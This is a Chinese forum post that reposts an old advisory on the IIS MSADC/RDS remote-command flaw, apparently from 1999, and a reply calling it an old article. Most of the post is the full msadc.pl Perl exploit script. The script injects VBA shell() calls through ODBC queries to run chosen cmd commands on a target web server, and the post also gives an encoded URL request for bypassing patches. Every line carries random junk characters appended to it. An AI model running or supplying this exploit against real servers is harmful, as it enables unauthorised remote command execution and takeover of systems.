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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Yh<WA>=  
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涉及程序: k N7Bd}  
Microsoft NT server Bc5+ss  
vXE0%QE'Q  
描述: KP]"P*? ?  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 !t#F/C  
B?bW1  
详细: eWs&J24  
如果你没有时间读详细内容的话,就删除: P8Qyhc  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Ib=x~za@n  
有关的安全问题就没有了。 3Q^fVn$tk  
E_T 2z4lw  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 L2UsqVU  
1q7tiMvV-  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 }baR5v  
关于利用ODBC远程漏洞的描述,请参看: UL$}{2N,_  
?)D^~/ A  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm b KtD"JG\  
6gL-OJNo  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 T{v>-xBRy  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp |{>ER,<-  
4?\:{1X=  
这里不再论述。 49H+(*@v@  
!69&Ld  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: zi@]83SS#  
&7e)O=  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset qet>1<  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 8^/I>0EZ  
X}ma]  
$sHP\{  
#将下面这段保存为txt文件,然后: "perl -x 文件名" )!:sFa 1  
c2nKPEX&5  
#!perl ]`g@UtD9`  
# &ANP`=  
# MSADC/RDS 'usage' (aka exploit) script n2B){~vE  
# ')Y'c  
# by rain.forest.puppy tBbOY}.VD  
# yw-8#y  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me v=@TWEE  
# beta test and find errors! FzQTDu9  
8.AR.o  
use Socket; use Getopt::Std; kRCQv-*  
getopts("e:vd:h:XR", \%args); D\dWt1n  
b;sVls  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; F,BOgWwP  
'xY@x-o  
if (!defined $args{h} && !defined $args{R}) { !E8X~DJ  
print qq~ Yb3mP!3q8Z  
Usage: msadc.pl -h <host> { -d <delay> -X -v } GzXUU@p  
-h <host> = host you want to scan (ip or domain) N["W I r  
-d <seconds> = delay between calls, default 1 second nAIo{ F  
-X = dump Index Server path table, if available s#~GH6/  
-v = verbose YHkcWz  
-e = external dictionary file for step 5 E>'a,!QPv  
JF&$t}  
Or a -R will resume a command session 9I27TKy  
i 9<pqQ  
~; exit;} Q_-_^J  
JxE53ev  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; y$FW$Ka  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} fWfk[(M'9  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 2WX7nK;I  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); TxjYrzC  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} nRL. ppUI  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } d@`M CchCB  
wN1niR'  
if (!defined $args{R}){ $ret = &has_msadc; &qp r*17T  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 1tTg P+  
(~CLn;'  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" AjcX  N  
. "cmd /c "; MYJg8 '[j  
$in=<STDIN>; chomp $in; _v Sn`  
$command="cmd /c " . $in ; drzL.@h|  
:I -V_4b  
if (defined $args{R}) {&load; exit;} .+7;)K   
7S/G B  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; HEA#bd\  
&try_btcustmr; ,@1p$n  
A+6 n#  
print "\nStep 2: Trying to make our own DSN..."; (?_S6H E  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; qmO6,T-|  
@1*ohdHH  
print "\nStep 3: Trying known DSNs..."; +fvaUV_-  
&known_dsn; FZ!`B]]le,  
H 0+dV3  
print "\nStep 4: Trying known .mdbs..."; O+g3X5f+  
&known_mdb; * #jsgj[  
I}Nd$P)>  
if (defined $args{e}){ 5N%93{L  
print "\nStep 5: Trying dictionary of DSN names..."; u[nyW3MZ  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } @-UL`+  
JkW9D)6  
print "Sorry Charley...maybe next time?\n"; a=M\MZK>  
exit; H*#s }9=kZ  
fRg`UI4w}  
############################################################################## *`ZH` V  
q_-7i  
sub sendraw { # ripped and modded from whisker Q+g!V5'  
sleep($delay); # it's a DoS on the server! At least on mine... b Q]/?cCYV  
my ($pstr)=@_; (Qa/EkE^*w  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 3nZo{p:E  
die("Socket problems\n"); ,%\o4Rc'o  
if(connect(S,pack "SnA4x8",2,80,$target)){ t#q<n:WeYU  
select(S); $|=1; pZ/>[TP(%F  
print $pstr; my @in=<S>; ': N51kC  
select(STDOUT); close(S); /~x "wo  
return @in; EEGy!bff  
} else { die("Can't connect...\n"); }} f B9;_z  
KII *az  
############################################################################## R|wGU)KEc'  
_.L4e^N&UO  
sub make_header { # make the HTTP request iD<(b`S  
my $msadc=<<EOT 3p0LN'q]A  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 z dO#0t N  
User-Agent: ACTIVEDATA PRz/inru-  
Host: $ip p.LFVFPT  
Content-Length: $clen v\p;SwI   
Connection: Keep-Alive \&H nKhI  
M5xCC!  
ADCClientVersion:01.06 2W4qBaG$=  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 @)Ofi j  
jBegh9KHq  
--!ADM!ROX!YOUR!WORLD! >JiltF7H0  
Content-Type: application/x-varg sQMFpIrr  
Content-Length: $reqlen **}h&k&%2  
,3@#F/c3i~  
EOT ) $PDo 7#  
; $msadc=~s/\n/\r\n/g; FJasS8  
return $msadc;} `w]s;G[  
y@\V +  
############################################################################## <~ Sz04  
7)s^8+  
sub make_req { # make the RDS request *zr(Zv  
my ($switch, $p1, $p2)=@_; r$2P;Cxj  
my $req=""; my $t1, $t2, $query, $dsn; ">#wOm+ +  
 cReB~wk  
if ($switch==1){ # this is the btcustmr.mdb query lT(oL|{#P  
$query="Select * from Customers where City=" . make_shell(); ki85!k=Q2  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . % LJs  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} $m42:amM  
\Ym5<];E  
elsif ($switch==2){ # this is general make table query x g0iN'e'K  
$query="create table AZZ (B int, C varchar(10))"; I'|$}/\`  
$dsn="$p1";} g]*#%Xa  
L:FoSCN Y(  
elsif ($switch==3){ # this is general exploit table query 'nF2aD%A  
$query="select * from AZZ where C=" . make_shell(); k+ze74_"  
$dsn="$p1";} T<XA8h*  
R~Ne|V2  
elsif ($switch==4){ # attempt to hork file info from index server 9(@\&>)  
$query="select path from scope()"; XGl+S  
$dsn="Provider=MSIDXS;";} #-bA[eQV  
`QXErw  
elsif ($switch==5){ # bad query g1jTy7g?  
$query="select"; ~Q\3pI. |  
$dsn="$p1";} 8 XU1 /i7N  
1Z9qjV%^  
$t1= make_unicode($query); 3+XOZh8  
$t2= make_unicode($dsn); 3`k;a1Z#O'  
$req = "\x02\x00\x03\x00"; Z l*X?5u  
$req.= "\x08\x00" . pack ("S1", length($t1)); KQ~i<1&j  
$req.= "\x00\x00" . $t1 ; 7AObC4 g  
$req.= "\x08\x00" . pack ("S1", length($t2)); [ i]Ub0Dh7  
$req.= "\x00\x00" . $t2 ; SLh(9%S;  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; /kfgx{jZ  
return $req;} @;'o2   
C+TI]{t  
############################################################################## qzTuxo0B  
)a-Du$kd  
sub make_shell { # this makes the shell() statement "sG=wjcw^  
return "'|shell(\"$command\")|'";} ariLG [:X  
nJo`B4'U  
############################################################################## .C--gQpIv  
(;q;E\Ej q  
sub make_unicode { # quick little function to convert to unicode rYbpih=x  
my ($in)=@_; my $out; ({q?d[q[  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } RO.k]x6  
return $out;} Bro9YP4<  
uXKERzg  
############################################################################## `DC2gJKk%  
)'~6HO8Z  
sub rdo_success { # checks for RDO return success (this is kludge) ={z*akn,  
my (@in) = @_; my $base=content_start(@in); RRI"d~~F6  
if($in[$base]=~/multipart\/mixed/){ {HCz p,Y  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} a]MX)?  
return 0;} % ClHCoyA  
7Zh~lM  
############################################################################## |>#{[wko  
f\jLqZY  
sub make_dsn { # this makes a DSN for us G%s 2P.cd  
my @drives=("c","d","e","f"); Iu <?&9t  
print "\nMaking DSN: "; mVy|{Oh  
foreach $drive (@drives) { ]bK=FIK2  
print "$drive: "; QnJZr:4b  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 2K3{hxB  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 8p:j&F  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); D ^x-^6^  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;  w/kt3Lw  
return 0 if $2 eq "404"; # not found/doesn't exist I= &stsH  
if($2 eq "200") { 6*3.SGUY  
foreach $line (@results) { 3nhXZOO1  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} HBMhtfWW  
} return 0;} \Rp-;.I@6  
GgB,tam{p  
############################################################################## ?W)A   
xLC3>>P  
sub verify_exists { 6E^.7%3  
my ($page)=@_; K|Di1)7=/  
my @results=sendraw("GET $page HTTP/1.0\n\n"); v+X)Qmzf~  
return $results[0];} 6#HK'7ClL  
u4/kR  
############################################################################## {o>j6RS\  
aL&n[   
sub try_btcustmr { o:_Xv.HRZo  
my @drives=("c","d","e","f"); _iir<}  
my @dirs=("winnt","winnt35","winnt351","win","windows"); zlEX+=3  
j!7{|EQFcl  
foreach $dir (@dirs) { BDjn !3  
print "$dir -> "; # fun status so you can see progress 0DJ+I  
foreach $drive (@drives) {  {PVWD7  
print "$drive: "; # ditto 4/wa+Y+=vt  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; |%' nVxc4r  
$reqlenlen=length( "$reqlen" ); b4QI)z  
$clen= 206 + $reqlenlen + $reqlen; 3yB!M  
J%,*is EL  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); lw< c2 C  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} [@5Ytv H  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 5.MGaU^Z$  
sk=-M8;\  
############################################################################## |v$JCU3!A  
#3+!ee27#  
sub odbc_error { TL}++e 7+  
my (@in)=@_; my $base; '7i Sp=  
my $base = content_start(@in); )3>hhuaa  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this (EI;"N (x  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; c1E'$- K@  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 6x%h6<#xh*  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; id1s3b;  
return $in[$base+4].$in[$base+5].$in[$base+6];} ,&R/4 :I  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; -}KC=,]vh  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . SN1}xR$  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Z7=`VNHc  
`.i!NBA'6  
############################################################################## xo7Kn+ Kl  
`|ASx8_!  
sub verbose { :(M(>4t  
my ($in)=@_; "CI=`=  
return if !$verbose; !0vG|C ;'  
print STDOUT "\n$in\n";} eep1I :N  
T-U}QM_e  
############################################################################## ~NpA".PB  
A}3=561F?5  
sub save { Vz=PiMO  
my ($p1, $p2, $p3, $p4)=@_; xo&]$W8  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; $7rq3y  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; !Ikt '5/  
close OUT;} ]%IT|/;9Y  
hMykf4  
############################################################################## v#U"pn|M  
7G/1VeVjB  
sub load { sXD1C2o  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; E.Jkf\  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); =g|IG [V  
@p=<IN>; close(IN); n}!PO[m~  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); !& z(:d  
$target= inet_aton($ip) || die("inet_aton problems"); C<m{*C-`a  
print "Resuming to $ip ..."; .P7"e5g e  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; iqe%=%ZR  
if($p[1]==1) { @T'i/}nl  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; cT!\{ ~  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; `Ch9~*p  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Q+W1lv8R  
if (rdo_success(@results)){print "Success!\n";} q)^Jj ?W  
else { print "failed\n"; verbose(odbc_error(@results));}} \cUC9/ b  
elsif ($p[1]==3){ VB, ?Mo}R  
if(run_query("$p[3]")){ jhb6T ?}  
print "Success!\n";} else { print "failed\n"; }} qa0 yg8,<  
elsif ($p[1]==4){ $ >u*} X9  
if(run_query($drvst . "$p[3]")){ {z")7g ]l  
print "Success!\n"; } else { print "failed\n"; }} {l/-LZ.  
exit;} 2kIa*#VOJ  
z$?~Y(EY  
############################################################################## f]\CD<g3|E  
<U!`J[n%  
sub create_table { 4Za7^c.  
my ($in)=@_; &GB:|I'%7  
$reqlen=length( make_req(2,$in,"") ) - 28; WRrd'{sB  
$reqlenlen=length( "$reqlen" ); )~HUo9K9  
$clen= 206 + $reqlenlen + $reqlen; k{Me[B  
my @results=sendraw(make_header() . make_req(2,$in,"")); >o7n+Rb:  
return 1 if rdo_success(@results); rjp-Fw~1w  
my $temp= odbc_error(@results); verbose($temp); !U'QqnT  
return 1 if $temp=~/Table 'AZZ' already exists/; L_wk~z  
return 0;} i03w 1pSH,  
'gTbA?+@5  
############################################################################## K"4>DaK2P  
ck.w 5|$  
sub known_dsn { \v.C]{Gzc  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go (K)]qNH  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Te<}*qvD  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", #]ypHVE  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); :n.f_v}6  
>U]C/P[+  
foreach $dSn (@dsns) { (3{YM(  
print "."; c0;t4( &8  
next if (!is_access("DSN=$dSn")); 'VlDh`<W  
if(create_table("DSN=$dSn")){ 4:dH]  
print "$dSn successful\n"; :$m}UA-9  
if(run_query("DSN=$dSn")){ (}EB2V9Hh  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { #py[  
print "Something's borked. Use verbose next time\n";}}} print "\n";} |ayVjqJ*  
YQ6f}O  
############################################################################## S'_-G;g.  
7:)n$,31FW  
sub is_access { 32/MkuY^u  
my ($in)=@_; DW_1,:,?7l  
$reqlen=length( make_req(5,$in,"") ) - 28; K%F,='P}  
$reqlenlen=length( "$reqlen" ); $0lD>yu  
$clen= 206 + $reqlenlen + $reqlen; S/ODq L|  
my @results=sendraw(make_header() . make_req(5,$in,"")); nysUZB  
my $temp= odbc_error(@results); w6{TE(]zp  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Y[$!`);Ye  
return 0;} O]1y0BOQ  
*Of4o  
############################################################################## vfE6Ggz  
ysQ,)QoiR{  
sub run_query { SVB\  
my ($in)=@_; ~,5gUl?Il  
$reqlen=length( make_req(3,$in,"") ) - 28; R)RG[F#   
$reqlenlen=length( "$reqlen" ); }5}.lJ:  
$clen= 206 + $reqlenlen + $reqlen; ^ml'?  
my @results=sendraw(make_header() . make_req(3,$in,"")); #7 q7PYG4  
return 1 if rdo_success(@results); 2gq9k}38  
my $temp= odbc_error(@results); verbose($temp); F=a<~EpZ  
return 0;} }A7j/uy}s  
bS"fkf9  
############################################################################## Htgx`N|  
p|&Yku=  
sub known_mdb { /5:bvg+  
my @drives=("c","d","e","f","g"); g#t[LI9(F[  
my @dirs=("winnt","winnt35","winnt351","win","windows"); }7 c[Q($K  
my $dir, $drive, $mdb; D IzH`|Y  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; b+&% 1C  
tjluk  
# this is sparse, because I don't know of many A#95&kJpy  
my @sysmdbs=( "\\catroot\\icatalog.mdb", )XzI #iQ  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", f^"N!f a  
"\\system32\\certmdb.mdb", elFtBnL'  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ;o 0&`b?  
6Qy@UfB  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ,Qnd3[2[  
"\\cfusion\\cfapps\\forums\\forums_.mdb", +i2}/s@JJ  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", @vrV*!  
"\\cfusion\\cfapps\\security\\realm_.mdb", nEkR1^30  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ?`#/ 8PN  
"\\cfusion\\database\\cfexamples.mdb", kZerKP  
"\\cfusion\\database\\cfsnippets.mdb", *UmI]E{g3(  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", <RG|Dx[:=  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 4y'OMRy  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 9uBM<  
"\\cfusion\\database\\smpolicy.mdb", q11>f   
"\\cfusion\\database\cypress.mdb", Jh?dw3Ai^  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", (;57Vw  
"\\website\\cgi-win\\dbsample.mdb", fI~Xmw+}}  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", S4h:|jLUF  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" PX n;C/  
); #these are just qASqscO  
foreach $drive (@drives) {  $W9{P;  
foreach $dir (@dirs){ Gmq/3tw  
foreach $mdb (@sysmdbs) { D*F4it.  
print "."; `P8Vh+7u  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 6^"=dn6K  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; e*;c(3>(  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Ie`13 L2  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; .D: Z{|.1  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 8$ma;U d  
sPMa]F(  
foreach $drive (@drives) { },>pDeX^P  
foreach $mdb (@mdbs) { 5i1>I=N  
print "."; K_El&  
if(create_table($drv . $drive . $dir . $mdb)){ ' )?f{  
print "\n" . $drive . $dir . $mdb . " successful\n"; (jFGa2{  
if(run_query($drv . $drive . $dir . $mdb)){ YH%'t= <m  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; D[mSmpjE6&  
} else { print "Something's borked. Use verbose next time\n"; }}}} (h5'9r  
} 8rMX9qTO@  
jp"JafS/E  
############################################################################## -sjd&)~S[  
pm\x~3jHs  
sub hork_idx { -"h;uDz|z  
print "\nAttempting to dump Index Server tables...\n"; !\"5rNy  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; *IY*yR6  
$reqlen=length( make_req(4,"","") ) - 28; *WIj4G.d  
$reqlenlen=length( "$reqlen" ); sZL#xZ5 Df  
$clen= 206 + $reqlenlen + $reqlen; fD07VBS yl  
my @results=sendraw2(make_header() . make_req(4,"","")); bX*Hi#J~A  
if (rdo_success(@results)){ vt;{9\Y  
my $max=@results; my $c; my %d; nM-h&na{s  
for($c=19; $c<$max; $c++){ 'eJ+JM<0%  
$results[$c]=~s/\x00//g; DiEluA&w9  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; '6xQT-sUih  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; i 4%xfN  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; dz *7gL;7G  
$d{"$1$2"}="";} Sk:ws&D1u  
foreach $c (keys %d){ print "$c\n"; } t0nI('LX,  
} else {print "Index server doesn't seem to be installed.\n"; }} NyVnA  
ywb4LKD  
############################################################################## ae*Mf7  
z[cyA.  
sub dsn_dict { f~d d3m('  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); @Q^P{  
while(<IN>){ >9q&PEc  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; |iR T! ]  
next if (!is_access("DSN=$dSn")); DVK)2La  
if(create_table("DSN=$dSn")){ C#t'Y*  
print "$dSn successful\n"; 9XRZ$j}L  
if(run_query("DSN=$dSn")){ N^pJS6cJkl  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { <oWB0%  
print "Something's borked. Use verbose next time\n";}}} q@@T]V6  
print "\n"; close(IN);} 6q]5Es<  
72X0Tq 4  
############################################################################## 0qo)."V{  
T.We: ,{  
sub sendraw2 { # ripped and modded from whisker +[ R/=$  
sleep($delay); # it's a DoS on the server! At least on mine... 1\g6)|R-+  
my ($pstr)=@_; P#_sg0oJF  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || m^H21P"z  
die("Socket problems\n"); F6K4#t+9  
if(connect(S,pack "SnA4x8",2,80,$target)){ qnoNT%xazo  
print "Connected. Getting data"; s_> f5/i2  
open(OUT,">raw.out"); my @in; (d<4"!  
select(S); $|=1; print $pstr; )@L'wW  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} e?Ho a$k  
close(OUT); select(STDOUT); close(S); return @in; EC\yz H*X  
} else { die("Can't connect...\n"); }} wQiX<)O  
#SX8=f`K5  
############################################################################## .h& .K  
;}1xn3THCn  
sub content_start { # this will take in the server headers baP^<w^  
my (@in)=@_; my $c; +Wx{:  
for ($c=1;$c<500;$c++) { u6_@.a}  
if($in[$c] =~/^\x0d\x0a/){ fuA&7gNC  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } |{@8m9JR  
else { return $c+1; }}} >zhO7,=,  
return -1;} # it should never get here actually m <w "T7  
Ojt`^r!V  
##############################################################################  wAz&"rS  
qR8u$2}NY  
sub funky { +{/*z  
my (@in)=@_; my $error=odbc_error(@in); HS.^y x  
if($error=~/ADO could not find the specified provider/){ F P>)&3>_  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Cf:#( D  
exit;} Z-U-N  
if($error=~/A Handler is required/){ '2laTl]`  
print "\nServer has custom handler filters (they most likely are patched)\n"; GN0`rEh  
exit;} A5H3%o(6k  
if($error=~/specified Handler has denied Access/){ #fL8Kq  
print "\nServer has custom handler filters (they most likely are patched)\n"; \igmv]G%  
exit;}} G <uyin>  
GQl$yZaK{  
############################################################################## +8#_59;x  
y8 KX<2s1  
sub has_msadc { r.T<j .\  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); +]|Z%;im  
my $base=content_start(@results); :Pg}Zz<  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); V~hlq$jn<Y  
return 0;} PZm:T+5H  
PNA\ TXT  
######################## \T\b NbPn  
2{Chu85   
IZm(`b;t^  
解决方案: ^m /oDB-  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll >(<ytnt=  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 W?We6.%  
[tH-D$V  
拿出来充数 哈哈
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